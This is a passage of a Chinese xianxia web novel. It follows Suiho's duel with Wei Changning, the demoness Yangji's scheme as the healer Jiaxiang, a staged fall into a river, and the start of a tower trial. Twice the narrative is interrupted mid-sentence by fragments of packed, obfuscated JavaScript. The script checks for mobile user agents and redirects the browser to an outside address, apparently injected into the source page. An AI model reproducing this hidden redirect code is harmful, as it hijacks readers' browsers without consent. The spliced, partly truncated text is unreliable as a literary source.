在一处空地上,卫长宁终于停下脚步,转身见岁禾一脸心事重重,他忽然有些淡笑:“师姐让我相送,恐怕不是想单独邀我探讨魔龙潭之事吧。” 没想到被他猜中心事,岁禾心中恼怒,面上却不表现出来。 “师弟真是个聪明之人。只是聪明之人,常常被人迁怒。” 岁禾拉掉面罩,露出一张冷漠秀丽的脸庞,她紧紧盯着卫长宁,见他也摘掉面罩,这才说:“魔龙潭是罗浮宫的秘密,可不是外人的秘密。纵使我知道什么,我也不会与一个混入罗浮宫的外人交谈。” 摘掉面罩的脸果然俊俏,那人薄薄的唇边向上勾起。 “师姐就这么认定我,是一个外人?” “难道不是吗?”岁禾说出自己的猜想:“叶芙蕖那人跟我从小一起长大,可是眼高于顶的一个人,可在短短时间内,她就对师弟你情根深种。这到底是为什么,想必师弟你最清楚不过。” 那人看不出什么表情,只是薄薄的唇边浮现一丝讥诮:“师姐这就说笑了,旁人爱慕师姐,难道是师姐自己本人的错?旁人恋慕我,又与我有何干系?” “你……” 这人牙尖嘴利,倒是能言善辩。但是她就是能肯定,他身上说不出的危险气息。 “不管你有什么目的,是叶芙蕖也好,还是罗浮宫也好,离叶芙蕖远一点,也离罗浮宫的秘密远一点。否则……”她顿了顿,说道:“否则就怪我不客气。” 这人先前透露那侍女说的是魔龙潭,后面随着她一起来到此处。他的目的,绝对不会是为了她自己的安危。 魔龙潭,有他想要的东西。 看来下次,她还得寻个破解之法,慢慢弄清这魔龙潭里,到底关押着什么大物,或者,这里埋葬着什么,连卫长宁都趋之若鹜的秘密。 月亮从云缝里移出,原先压抑的气息也被清冷的月辉散开。 “师姐想守护罗浮宫,焉知我就不是来保护罗浮宫的呢?”那人淡淡的声音在夜风里荡漾开去。 “你花言巧语三心二意,我可不信你!” 话音刚落,那边站立着的卫长宁只听得耳畔一点风声,寒光一闪,一点剑光朝他奔来。他偏头闪过。 似乎早料到如此,他眸中却无怒意,只是悠悠叹口气:“我好心好意送师姐回来,没想到师姐要暗害我性命。” 岁禾当然不会被他软言软语欺骗,这幽幽的叹息,落在她耳中,自然更像是嘲讽。 “谋取师弟性命自然是不敢,不过是切磋一二罢了。”岁禾收回剑,对着那人说道:“师弟,请出招吧。” 那人却丝毫不动,在她说完这句话后,无论她如何相逼,他始终都徒手应对。仿佛只是一个修为高强之人,在训练一个弱势的稚子罢了。 这态度惹得岁禾不悦,虽然能感应到他修为在她之上,可这般戏弄,原本只是想试探之心,终于变得一丝烦躁起来。 “师弟若还是如此,可别被我伤着了。” 岁禾在空中变幻几个招式,手中墨剑横削,直引得飞枝走叶,空气中山雨欲来,剑气凝啸,吹得人睁不开眼。 那人肩头终于被她剑尖点中,可即使被点中,剑身却不能再往前分毫,竟是被一股冷肃之意生生阻挡在外面。 这是她的成名之剑,她将裴煜教给她的空山寂雨和冷花幽独两招合二为一,每种招式共有十二般变化,合二为一后,共有二十四种变化,就是金丹期后期遇到她这两招,也讨不到好处。这些天,她在双子塔连番闯关,已经将之练得滚瓜烂熟。 可是,在遇到他之后,剑法失效了。 这人内力浑厚,也不知修为到何种境界。 在被剑尖刺中后,那人目光闪动,目光由淡定逐渐露出一丝难以置信,随后嘴角边勾起一抹冷嘲。 “没想到师姐是铁了心要我出招,那好吧,师弟这就给师姐看看……看有没有你想要的。” 一柄绿色长剑,在半空中浮现。 这是岁禾第一次看见他使剑,尽管在剑课上大家都夸赞他,在演武场上,两人也常常遇见,但她从未留意过他的剑术。 这是两人第一次正面交锋。 月光从乌云后钻出,在那人身上铺满一层光辉,那柄绿色的剑身上,也缀满一层银霜。 那人身姿闪动,持剑之姿清俊,月光流淌在剑气之上,人也化成舞动的月光。 若不是她是他的对手,恐怕要为这舞剑之姿倾倒,可是,她此刻异常清醒。她清楚得看见那碧色剑气朝她袭来,像带动月光的绿色篝火。 岁禾几番起落,在火光的追逐中步伐越来越乱。 那人不知用的什么招式,看不出来变化,却追得人毫无还击之力。再这样下去,她会一直陷入被动。 “师弟只有这些了吗?只会在人身后追逐,对吗?” 好不容易站定之后,她反唇相讥道。 这句话,却不知怎地,似乎惹到了他,那人眼中终于露出一丝难以觉察的裂痕,随后她听到让自己冷的彻骨的声音响起。 “师姐既然想看更多,那师弟我却之不恭了。”那人道:“只是不知道师姐,能不能承受地住。” 话音刚落,空气里刮过一阵无形劲风,直吹得风沙走石,天地暗淡。 他原先提着的剑,也随着风声隐隐颤动,似乎被天地灵气呼引,那人在剑柄上轻轻一捏,剑气唰地一声荡漾开去,发出一波碧色光华。 那人迎风而立,手持长剑,再抬眼,眸中已没有了半点温情。 仿佛只当她是个真正的对手。这就对了,正是这个眼神,岁禾在心中暗自呐喊,如此,她就能在他的剑气中,找到他的来源之地。 手中风鸣剑感知到威压,鸣动起来,那是一种劲敌来袭的兴奋和战栗。 在几番缠斗之后,风沙越聚越多,岁禾眼前发黑,终于在那人的目光中,置身于茫茫的剑气中。 剑气与风沙交杂,耳边花木飞落之声淡去,一片宁静中,岁禾看见眼前一片黄沙地,在视线中逐渐清晰。 那是一片黄沙地,也是一片城池。 城池被烈日灼烧,士兵躺倒在城墙上,焦黑的面庞让人心惊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490104|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人间战火弥漫,鲜血流淌满城。 “这是蜃境!”岁禾心中涌出骇然,这个卫长宁,竟已经能将剑法使出蜃境。这绝不是金丹期能使出的功法。 “师姐不是想看我来自何方吗?那就好好看看吧。” 那人清凉的声音池上响起,岁禾慢慢缩小,缩小,置身于城楼底端,变得跟蝼蚁一样渺小,城池一座座拔地而起,像雨后春笋般,将她困于其中。 而她仓促奔逃,也差点被拔起的城池坠落其下。 他冰凉如鬼魅一样的声音,从身后追赶的城池中传来,她一边奔逃,一边思考。只见黄沙铺满的空间里,天幕无星无月,只悬挂着一个太阳,太阳圆圆大大的,像纸糊的一样。 她这是置身在他构造的空间里,也置身在他的剑气中。 剑气所现之景,也是人心中所现之境。一个小小弟子,竟有如此大的空间构造能力,并与能将技法与蜃境相融。她真是小瞧了他。 可她绝不能退。若是以前的自己,凭着金丹初期,并不能脱困其中,可是如今的她,是来自一百年后的自己。 区区蜃境,是他的心境——而不是自己的心魔。 眼见风沙凝聚,城池张开巨大豁口向她扑来,千钧一发之际,岁禾咬破舌尖血,血味充斥口腔,疼痛终于将幻境驱逐。 城池慢慢坍圮,纷扬的黄沙也重回地里,画面终于褪去。 卫长宁淡然的摸样在眼前浮现,见她突破重围,似乎并不诧异,只是淡淡问道。 “刚才师姐看到自己想要的了吗?” 他是故意的,岁禾很肯定,他没有展示他所来之地,却偏偏选择了人间之景——他在刻意隐瞒着什么。 她没有看清,不过不愿落下话锋,仍旧忍不住对他反唇相讥:“区区幻境,不过是班门弄斧罢了。” 那人似乎听到好笑的事,唇角勾起,不断像她靠近,身上温热的气息也随之而来,岁禾不适得往后退,却听到他的声音在头顶响起。 “是吗……师姐在幻境里苦苦挣扎,耗时颇久,我还以为师姐能早点出来呢!” 那气息带着压迫和极强的侵略感,逼得她节节败退。 “你想干什么?”岁禾撑住心中翻腾的五脏六腑,忍不住瞪他。 “我想干什么……”那人身体的阴影笼罩在她头上,随后弯下身子,温热的唇息扑到她耳朵上:“我想做什么,师姐不是一向都知道吗?” 岁禾睁大眼睛,本能地想推去推他,却骤然感觉身上那股压迫感减轻,再抬眼,那人已在一步之外。 “沾花惹草,三心二意。师姐不是这么说我的吗?” 那人转身,露出那种自嘲的语气,长风吹起他的长衫,岁禾这才发现,他穿着单薄的外衣,萧瑟的背影在月光下,投出瘦瘦的一截阴影,他整个人,几乎就要和地上的阴影融为一体。 他背对着月光,看也没看身后一眼,投出一个小瓶子,被岁禾接住。 随后他说:“上次师姐没有收我的碧灵髓,这次应该用的上了。” 那人一步步,向月光照耀不到的暗影中走去,单薄背影,终于完全被黑暗笼罩。 “师姐想弄清我是谁,我想很快,就会有人给你答案了。” 12. 第 12 章 世人爱神,神却也有弱点。 裴煜非神,可众人爱他,他却只心慕泱姬。 只要提到泱姬的事,就能令他心神大乱。泱姬化作隐族圣女伽香,来罗浮宫半月,短短时日已将金匮阁一半事务揽至其下。 按照前世事态发展,泱姬在半年后打开南境结界,魔族倾巢而出,南境修士灭亡之前,还需一位关键的秘钥—— 裴煜的同心契,同心而结,誓守契约,得此爱意,共担法力,泱姬得到裴煜的爱意,同时,分走他半身法力。 裴煜为紫皇后裔,他身上之灵力为南境护境大阵关键所在。护境大阵为紫皇打造,为避免魔族势力日后卷土重来,伤害南境子民,紫皇在飞升前,凝筑此阵。阵法一经结成,无法破开,除非紫皇后裔亲启。 泱姬接近裴煜,正为此阵而来。泱姬此人,为现世魔尊司空见雪的左护法。她一番筹谋,只为将这位镇压在苍梧山底下的魔尊放出来。 为此她不惜代价,将魔身换成肉身,一路蛰伏到南境。 其实这份情谊让人感动,岁禾后来无数次想起泱姬,还是为此唏嘘不已。 只是这司空见雪直到最后也没被放出来,岁禾反而成了新的北境境主。当上境主之后,她第一个就了结了泱姬性命。 思绪拉回现在,此刻泱姬就站在金匮阁中,被众人围堵,问诊寻药。 慕名而来的人,将金匮阁两层楼都塞了个满满当当,一楼大堂中,几个病态之人对她感恩戴德。在他们眼中,面前这位穿着黄纱裙的女子,当真是神医转世,她们的顽疾,在她手中都被医治痊愈。 神医生得花容月貌,楚楚动人,一身纤腰束束,正站在阁中跟周围来抓药之人交谈。 交谈声如泉水一样悦耳轻鸣,仿佛一双温柔的手拂过。世间的病痛经过她声音的拂拭,就能好掉一大半。她有些一双秋瞳剪水般的眸子,看人的时候总是笑语盈盈。 音容笑貌将前来求治之人蛊惑,那些人对神医感激涕零。 “伽香姑娘真是惠质兰心,神医在世,我这腰久治不好,经姑娘略施妙手,顽疾便不治而愈,多谢姑娘仁医妙手。” “姑娘上次给我开的驻颜丹也十分有用,不知这次金匮阁还有这丹丸没有,若有,还请分给我一些,我好多师姐们也想试一试这驻颜秘术。” 对于众人的感激,泱姬永远和颜以对,换来更多的夸赞。 短短半个月,罗浮宫遍地是她的拥护者。只是可惜了这些人,不知道她们拥戴的,是将来会灭他们性命之人。而岁禾,并不打算揭穿,她深知,即使她说出泱姬是魔,也断不会有人相信她。 泱姬在来此之前,就习得血噬之法,隐藏了魔族的气息,化成一个柔弱可欺的凡人。即使用探灵的方法,又或者用现世镜,也发现不了她的真身。 岁禾在上一世,就吃了大亏。泱姬不断挑衅她,看她吃醋发狂,再一遍遍装委屈,缩在裴煜怀中,一次次以受害者的身份,将她送到众人的声讨声中。 她就像一个捏面小人一样,被泱姬玩弄鼓掌之间。 她探查她的魔气,可魔气丝毫没有显现,随后泱姬中了毒,世人都道是她下的毒,众目睽睽之下,她百口莫辩,裴煜逼她交出解药,可她根本无药可解,在几番纠缠之下,嘴硬的她带着一腔心伤被关进囚牢。 她从牢里出来后,与裴煜关系恶化,没过几个月,裴煜就与泱姬结契,在冬至之日结为道侣。 她一再想不通,泱姬为何能隐藏魔族气息,要知道护境大阵庇护之下,魔物根本无法入阵。可是泱姬堂而皇之进入大阵。 直到岁禾成为北境之王后,她才知道这种血噬之法,可以逆转经脉,将魔物暂时隐蔽成凡人经脉,如此骗过大阵。 这个多次陷她于不义之人就在眼前,她不会再像从前那样冒险,更不会再重蹈覆辙,为了揭穿她做任何傻事事。她要等她自己一点点,在众人面前,露出狐狸尾巴。 那边的交谈之声还在继续,一个中年男子殷勤围绕着女子。 “伽香姑娘,这些药吃完以后,多久我才能来见……多久需要上此处抓下一次药?” 中年男子脸色微红,即使已经抓完药,仍旧不忍离去,目光仍留恋在身侧这位香软的女子身上。 这就是泱姬的魅力,她总能轻易收获别人的喜欢。即使中年人,也逃不脱被俘获的命运。 面对中年男子的不当言语,伽香并无责怪,反而柔声说:“再过两周可上此处寻我,若我不在,金匮阁其他大夫都可接替我继续为你诊治。” 中年男子这才恋恋不舍地离去,他怀中抱着一叠药纸袋,走至门口,还在回望屋内,但见屋内挤满人潮,皆是同他一样来寻医之人,只好欲言又止离开此处。 人潮拥挤已经是金匮阁的常态。从伽香出现后,这里多了很多像他一样慕名来问诊之人。 岁禾前世也搞不懂,为何伽香有如此魔力,直到当她当上北境尊主,将伽香抓来,这才知道,伽香本体是一株魅情花,魅情花自动能吸引异性的目光,让人为她沉沦。 这就是她最大的魔力。 “好了,伽香小姐今日在金匮阁的诊治就到这里,请大家让让路。” 金匮阁的大夫们殷勤为之清场,他们十分心疼这位柔弱的女神医,女神医为病人操劳的身影让他们心中不忍。 滚动的汗珠,和嘴角逞强的微笑,都是他们心疼的理由。 大夫们将人流清理走后,伽香也在这些人的引领下,往金匮阁门口走去,她一路走,一路对维护她的大夫们表示感谢。 “多谢大家替我照顾那些病人。” “哪里的话,我们应该替金匮阁谢谢你,若不是你,我们也不会发现这么多我们诊治的疏漏。” 一伙人寒暄着,将女神医往门口送,女神医走到门口前,要经过一处柜台,柜台那里有一个紫色衣裙的姑娘,正垂头看着桌子。像是没有发现她们。 女神医却要尽显关怀之意,走过去对那位一言不发的姑娘打招呼。 姑娘抬头看她一眼,眼中是一种奇怪的神色,那在大夫们看来是很不敬重的神色,这神色让这些人纷纷露出责怪之意:“这是宫主之徒,岁禾姑娘。” 女神医的目光,在落在那姑娘脸上时,呆滞了一下,随后温软出声:“早听说裴郎有位女徒弟,原来就是你。今日一见,确实是位貌美弟子。” 随后她近身走来,露出温婉笑意:“我唤你禾儿,可好?” 你叫我什么都好,被点到名字的岁禾在心中腹诽,但是在场人多,为避免那些拥护者用眼光屠戮她,她还是得还礼:“……伽姑姑好。” 伽姑姑……这个名字明显让女神医愣住,也让在场之人愣住。 一时间风过云流,很快,明黄色衣裙的女神医就恢复那副和蔼可亲的神色。 她脸上笑意未变,甚至执起岁禾的手,露出长者的姿态:“一直想代你师父来看看你,可来了这么久,除了这金匮阁,我别处也没去过,更也不记得路,这才一直拖到现在也没去看你,还望你别责怪我,更别责怪你师父。” 我自然是不会责怪你,更不会责怪你们两个。前世正是你们害得我好惨。岁禾在心中说。 这伽香以师母身份自居,一副关爱弟子的柔善摸样。只要与她交谈,三句话就要提到她师父,一开始她还以为是她无意提及,可后来桩桩件件事情,都证明是她有意为之。 上一世就是这样,旁人都道她好,只有岁禾知道她心中的盘算。既然知道,这辈子就别怪她不客气。 “我当然不会责怪姑姑,毕竟姑姑只是区区人族,寿命多则一百年而已,姑姑记性差也不是姑姑的问题。” 意料之中看到那女子变了脸色,岁禾心中升起一丝快意。魅情花之效只对旁人有效,特别是男子,但对她来说,只会起到祛魅之效。 此时伽香心中必定对她恨之入骨,她越痛恨她,岁禾越是高兴。 只是伽香毕竟是魔族高层,此时尚且能平心静气微笑说:“这些年我一直潜心研制药草,没有将成亲之事放在心上,要不是裴郎派人前去求亲,我都忘了,早些年,我曾与之定下婚约之事。” 言下之意,是说裴煜心悦于她,纵使她年龄渐长,可他依旧爱慕她。况且,她春色满面,这具身体虽然已经是二十七八,但看容颜,仍旧年轻。 这波秀恩爱,你赢了。 这次结亲,岁禾原以为是隐族的密谋,却是裴煜的旨意。裴煜在多年前被幼时的伽香本体所救,在隐族境内疗养一个月,伽香之父,也就是隐族族长为裴煜定下婚约,裴煜并未反对。 按照年龄推算,泱姬那时还不在伽香体内,真正的隐族圣女,怕是早被伽香魔体吞噬,化为了她的养料。眼前的伽香,只是魔女泱姬而已。 可是裴煜爱上了泱姬,放在过去,她是绝对不会相信,一向清冷的师父会爱上一个魔族女人,她一遍 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更重要的是,那里有一条清碧的河流,河流上,搭着一座白玉拱桥,名唤天生桥。 果然在两人看完花草后,伽香提议去天生桥上赏风景。 赏风景是假,露出她脖颈边一块双鹿吊坠为真,伽香坐在天生桥上,左手托着吊坠,右手扇着风,傍晚的风将她身体的香味吹散。 她忽然看着岁禾的眼睛,道:“你知道这吊坠是谁给我的吗?” 我当然知道,岁禾在心中想,是裴煜嘛,不用秀给我看。想到那个人,岁禾鼻头微酸,她无数次找裴煜要过南境双鹿吊坠,这是南境以及整个罗浮宫的默认,所爱之人,会互赠双鹿吊坠,可是她要了这么多次,裴煜从未将之给她。 此刻,这块吊坠却出现在了伽香脖子上。 他是真爱她呀,岁禾被桥上风一吹,有些凉嗖嗖的,她认得出那块吊坠,确实是裴煜的,那块双鹿吊坠,鹿角那里有一点红色。 “怎么样,吊坠好看吗?”伽香“天真”的笑颜仅在眼前。 把它抢过来,心中缠绕的墨黑的身影,不断冒着黑气,那个身影在耳边不断怂恿她,激怒她。按照前世的剧情,她这次会因为嫉妒,对伽香恶语相向,而伽香,因为她的失手,坠入河中。 “岁禾,你怎可伤害你师母,你不知道她只是一介弱女子吗?”那个白衣翩翩的男子,对她口出恶言,随后看也没看她一眼,又将目光投视给缩在锦被中因发烧瑟瑟发抖的弱女子,弱女子伽香适时出口:“不怪她,是我自己不小心掉下河中的。” 一番话引来裴煜更加怜惜,他越怜惜,对岁禾的厌恶越重,他说:“你不必偏袒她,她一惯是嫉妒成性,这么多人都看到她推你坠河,你还如此维护她。” 那时的自己在想什么呢?恐怕只有百口莫辩和委屈交加,她忍住眼中热泪,夺门而出。而此后,这样的事不断发生,她一步步与裴煜走向对立面。 此刻,同样的场景再度发生,她却不会再如她之意。 她露出一个笑颜,说道:“确实是一块漂亮的坠子。” 说这话时,几个宫内侍女正从她们身边经过,若是方才她有不恰当的举动,而伽香恰好掉入河中,人证物证具在,从此,她将落入自证的陷阱。这是她绝不允许的。 看到她这么轻松愉快,那人露出一丝失望之色,脚步慢慢往天生桥那边移动。 此时侍女们正从桥上经过,不会有人注意到她们的动向,但是若此时传来扑通一声,侍女们仍然会将她当做坏人。 “姑姑站好,可别掉下去。” 在伽香身形往桥边趔趄时,岁禾眼疾手快,按住她的肩膀。手下,感受到那人肩膀紧绷,似乎没料到她会预判她接下来的举动。 眼见那伙侍女越走越远,伽香的面容上终于露出一丝焦灼之色,等侍女们终于消失在眼前,她看一眼岁禾,眸光闪动。 “禾儿似乎很防备我,这是为何?” “自然是怕姑姑你,作出什么伤害自己的事,维护好你的安危,我想师父他也会高兴的。” “是吗……若我不想他高兴呢?”那人语带缥缈,眼神里,忽然露出一点锋芒毕露的神色。 没等岁禾弄清这眼神里的含义,只见眼前明黄色衣衫一闪,在她分神的片刻,水中“扑通”一声,那人已经落入水中。 又整这死出!岁禾来不及细想,跟着一跃而下,跳入河水之中。 13. 第 13 章 岁禾将人救出时,伽香已经伏在地上不省人事了。 罗浮宫的守卫很快将这里的情况告知虚华殿,殿中派来鸾车将两人接回。 时隔多年,这是岁禾再一次上来虚华殿,只是这次,却是因了一个外人。 长侍女明香嘱咐人将两人送至偏殿中的寝房安置着,又打回热水,不一会儿罗浮宫的医郎过来诊治过,喧闹才过去。 岁禾口鼻呛了水,其实并无大碍,她不会水,可有金丹庇护,这点凡水根本伤不了她。可伽香就惨了,她本就是肉体凡胎,被水浸透,她全身湿淋淋,差点溺死在这碧水河中。 即使医郎们替她诊治过,可她仍旧高烧不退,躺在软塌中,脸色越发寡淡。 掌灯十分,裴煜过来了。 岁禾怎么也想不到,与裴煜相见会是这幅光景。她刚洗完热水澡,一身湿漉漉的长发还低垂着,身上仅穿了一层藕粉色的襦裙,就被他派人喊过来。 她跪在寝殿中,那人颀长身影从她面前经过,她微微抬头,只瞧见一个冷漠的侧脸。 明明是夏夜,他却一身寒意,闯入殿中。他此番前来,是为锦塌之上的人。 那人隔着低垂的帷幔,低低地在呼唤他:“裴郎。” 裴郎三步并作两步,从殿中疾驰而过,一眼也没看地上的岁禾,一把掀开帷幔,佳人适时伏入他怀中,嘤嘤哭泣:“我还以为再也见不到你了……” 意笃情深,旁若无人。 看得岁禾眼圈发红,耳边的湿发贴在脸上,有点凉凉的,岁禾不适地打了个喷嚏。 不得不说,泱姬毕竟是泱姬,好演技。这番娇弱无骨,换作任何一个男人都会动心。 如今的裴煜,就沉沦于她的温香软玉中。 没有人记得,其实她也是不会水的,幼年时,她因贪玩坠入碧水河中,河水灌入她的口鼻,在模糊的意识中,他也曾守在她身边,不眠不休,待第二日她醒来时,见他一身疲倦面容,脸上都已经生了青色胡茬。 他双眼布满血丝,眼圈泛黑,却在见到她醒来的那刻,绽出笑容。 她伸出的小手被他捉住,修长冰冷的手掌将她的手指环在手心,他轻轻的嗓音尤在耳畔:“别再靠近河水了,知道吗?” 知道吗?高贵的神子也会露出倦容。 那是至她在大雪中高烧过后,她再一次看见他的担忧。因为他这句话,她再没有靠近过河水,也就从来都没学会在水中如何生存。 他不会知道河水淹没头顶,她心底的恐惧。可她更恐惧,还有更多的事没有完成。 她的恐惧他不知道,也不会关心。他的温柔和担忧给了别人。时隔多年,她又在他脸上看到了这种神色。 这是一百年后的夏夜,一向冷寂的虚华殿,被彻夜灯火点亮,她伏跪在地上,见他一身雪衣簇拥着旁人。烛光摇曳,映照出帷幔里,依偎的一对壁人。 岁禾听到女子啜泣的声音传来:“我想禾儿她也不是故意的,你就饶了她吧。”紧接着,是一阵紧过一阵的咳嗽。 裴煜给那人后背推入灵力后,那帷幔里的咳嗽才减轻,伽香的声音传来:“我不知道她原来不喜我。” 接着帷幔里走出一人,裴煜在离岁禾两步前停下。 岁禾听到那人冷冷的声音,他说道:“你自己解释吧。” 解释什么,解释她为什么要推这个“师娘”到水中?她可没有那个闲情。上辈子她像一只候鸟一样围着裴煜转,一颗心全系在他身上,她无法接受他爱上旁人。他生气,她比他更委屈,他冷漠,她急得上蹿下跳。 直到他们成亲前,岁禾都还在到处搜罗证据,想要告知他,他眼前的小娘子只是一只魔。 可她似乎忘了,若他真的想查,怎么会查不到。只是他不愿意而已。 他不愿意相信,就如此刻的他一眼,他不愿意相信泱姬在说谎,更不愿意相信自己是无辜的。 她一遍遍上得虚华殿,被他一遍遍视而不见。那些烈日暴雨的夜晚,她独自等待,被赶下山的夜晚,她早该清醒了。 “她自己要跳入河水中,我好心好意下水救她,我需要解释什么?” 良久,一声嗤笑在殿中响起。伏跪在地上的人撑住身子,慢慢从地上起来,掸开衣袖,她的声音格外清晰:“我这里有溯光镜,裴宫主可要看看?” 一柄铜绿色镜子出现在她手中。 她不卑不亢,纤细手指在镜上一划,镜子如水波一般,开始放映白日里她与伽香坐于桥上之景。 “禾儿似乎很防备我,这是为何?” “自然是怕姑姑你,作出什么伤害自己的事,维护好你的安危,我想师父他会高兴的。” 桥上两人的话语,清晰传入殿中,画面到这里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493264|185813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软塌上之人咳嗽声更烈了,她低低唤着:“裴郎……裴郎……” 急切的声音,似乎人立马就要昏厥过去。 岁禾眼底划过一丝了然,手指在镜子上按住,清冷的声音漫出:“还要我继续吗?伽香姑姑?” 她的笑意没持续多久,一阵风过,一只手将镜子拂在地上,摔成几块。 裴煜道:“搞这些把戏做什么?一块镜子又能说明什么?好端端的,伽儿她为何会落入水中,她难道会故意诬陷于你?” 镜子摔碎的声音在耳边放大,直到现在,岁禾都不相信裴煜会亲手摔掉这面镜子。 她弯下腰,不顾男子愤怒的眼神,将地上银色的碎片一片片拾起,被碎片割伤的手指溢出鲜血,那刺痛感,从指尖窜入心底。 那是他送给她的镜子。儿时她常常罗浮宫的幼子们发生矛盾,他们说她是捡来的野种,她红着眼睛扑上去跟他们扭打成一团,她的衣襟和嘴角都被人抓破,可那些顽童却诬陷她,是她主动来招惹。 她哑口无言,躲在虚华殿的窗棂边,直到他踩在窗边落日余晖中找到她。 他向她伸出手,将她从暗影里拉到阳光下,他手中躺着的,正是这把镜子。他说这是溯光镜,有了这面镜子,就不怕那些孩童污蔑她了。 他说,你要保护好自己啊,岁禾。 原来人的偏爱不会消失,只会转移给另一个人。何其可笑。 裴煜垂眸,地上的女子旁若无人捡起地上碎片,鲜血染红她的手指。她没有哭也没有闹,像是在拾起衣物,良久,她直起身子,将那些碎片收入介子囊。 随后,裴煜看到一双平静得不能再平静的脸。 若是放在以前,她肯定会缠着自己哭闹,那个一向连手指被戳到都要嗷嗷大哭的少女,此时被鲜血割破,也不再喊哭喊痛。 她脸上的倔强让他心里被咯痛,他想去扶她,却被她冷冷偏开。 “我想有人比我更需要你。” 床榻上之人,见这边久久没有动静,又开始咳嗽了。这咳嗽来得剧烈,人都快咳得背过去,接着,帐子里没有动静。 裴煜脸上发冷,瞬移到帐边,只见那位柔弱的凡人妻子已经晕了过去。 鲜血从她唇角溢出。裴煜变了脸色,将她衣袖拂上去,那里赫然一条紫色长痕,正顺着经络一路向上蜿蜒。 是毒。 14. 第 14 章 去往风极海前,最后一场试炼,是在双子塔里。 先前在演武场已经决胜出前五十名优胜者,若这五十名优胜者,能够瞬间通关到二十层,并率先打败二十层的妖魔,就能进入风极海,争夺神剑过白驹。 风极海位于南境与中州交界的内海,届时不仅南境弟子,连中州的年轻的翘楚剑修也会前去争夺。 只是那海面并不宽阔,常有大鲛和异兽出没,南境和中州一共才四十个前去海面寻宝的名额。 神剑出世,引得众人争抢。据说紫皇为了亲授年轻弟子,特地在剑身上设置了禁制,只有元婴以下修士能进入风极海,争夺神剑。 据紫皇飞升成神,已经一千年过去,只有近期,才流传出过白驹的消息。 原来是在风极海。岁禾在南境之时,从未听说过白驹的消息,直到南境覆灭后,她前往中州,才听说过白驹被一名青年剑客夺走,辗转多次,神剑才被她收回手中。 那柄剑可与日月争辉,为紫皇遗骨所制。前世此剑在她手上,帮她一次次抵挡杀怒,她将红衣莲火心法与神剑结合,已经修炼至万艳同悲之境。如今她也要重夺此剑。 在众弟子一步步从双子塔试炼上去后,已经有小部分人“死”在二十层以下的试炼中。 最后一关在二十层,等岁禾进入这一层时,已经听到嘈杂打斗的声音从门边传来。 嗤嗤拉拉的响动声,像是什么物体正在爬动,又夹杂着众弟子的说话声和物体倒塌的声音。 “是否进入二十层进行试炼?” “是。” 二十层开了,白胡子老头的身影在眼前消失。 黑暗重现。没有一丝光亮,只有两壁的烛火在跳动。越往里走,黑暗越重,终于连烛火也没有了,四周重现密密麻麻的黑。 只是在这黑暗里,不时传来剑光和打斗的声响。越往里走,那声音越来越大。 不知道这一层是什么妖魔。岁禾撞着胆子继续往里走。与下面几层不同,这一层大得出奇,走了一圈也没走完。 很快她便毛骨悚然,这一层该是被上古妖魔施了阵法。 她——进入了它的领域。 岁禾连忙开启红衣莲火中的空明灵花之境,眼睛重新看清周围事物。 这一层居然是个巨大的山洞,洞里迂回曲折,正在往下氤水。山洞中,躺着几个已经“阵亡”的弟子尸体。弟子横七竖八,死状逼真。 他们身上,不知被什么妖物啃食过,身上的衣物都被抓烂,仿真的鲜血流了一地。 岁禾挪开脚步,继续往前走。她知道,这些弟子“死后”不久,就将被双子塔传送回塔外,而真身不会有太多危险,不过是感知死亡的拟真疼痛。 她现在进行试炼的身体,也是仿真的,真身在塔内一楼大厅里闭目休憩。 岁禾靠着空明灵花之境往里走,走一段路,听得头顶“咯咯”两声怪笑,待抬头一望,却是什么也没瞧见,这段路并未发现其他弟子的身影。 不知他们如今正遭遇什么样的危险,刚才那不详的笑声让她心中感觉不适,笑声中有着说不出的甜腻和怪异。 又往前走了一段路,笑声又响起来,这回不是在头顶——是在前方的洞壁之上。岁禾按紧手中剑柄。 这回弟子们的声音在山洞中想起来,大概有三十个人,正在讨论什么。岁禾一路从逼仄的山壁间走出来,终于来到山洞腹地。 眼前霍然开朗。一群紫衣弟子举着火把,正神情紧张打量四周。 “这妖物中了斩月剑都没有死,实在有些厉害,要不我们今天还是先回去吧,若我们死在此处,真身也会元气大伤。” “要走你自己走,谁都不愿放弃神剑,我知道,你是想支开我们,自己前去风极海。” “胡说!我根本毫无此意。” 岁禾注意到这些弟子中,不少人身上已经被抓破,露在外面的伤口流出黑色脓血。 情况不容乐观,不知是何妖魔。可即使如此,弟子们也不愿离去,还在此苦苦支撑。 有弟子说:“这是最后一关了,只要通过这里,就可以拿到通往风极海的名额,要走你们自己走,如此天赐良机,怎能轻易错过!” “都别吵了,谁再吵可别怪我手中之剑,今日本就是争夺赛,大家同门一场,不死在妖魔口中,也会死在同门剑下。” 一道虹光亮起,剑身闪着彩虹似的七彩光芒,岁禾认出,那是轻虹剑。 郭琼枝也来到此处,看来上次受伤之后,她身体已经复原了。 她身边站着的华丽女子,是叶芙蕖,后面还跟着几个同样身着华饰的女子。叶侍团队居然也来到二十层。 真是好久不见。 “区区一只蜘蛛妖,还奈何不了我们。”郭琼枝将手中轻虹剑一抛,映照出山洞内黑黢黢的洞壁。 忽然山洞内一阵阴风扫过,转眼间,几个弟子倒在地上,捂脸哀嚎。 不知是什么东西,在看不见的地方袭击了他们,弟子们脸上有大条抓痕,看起来狰狞可怖,确实像是蜘蛛的爪痕。 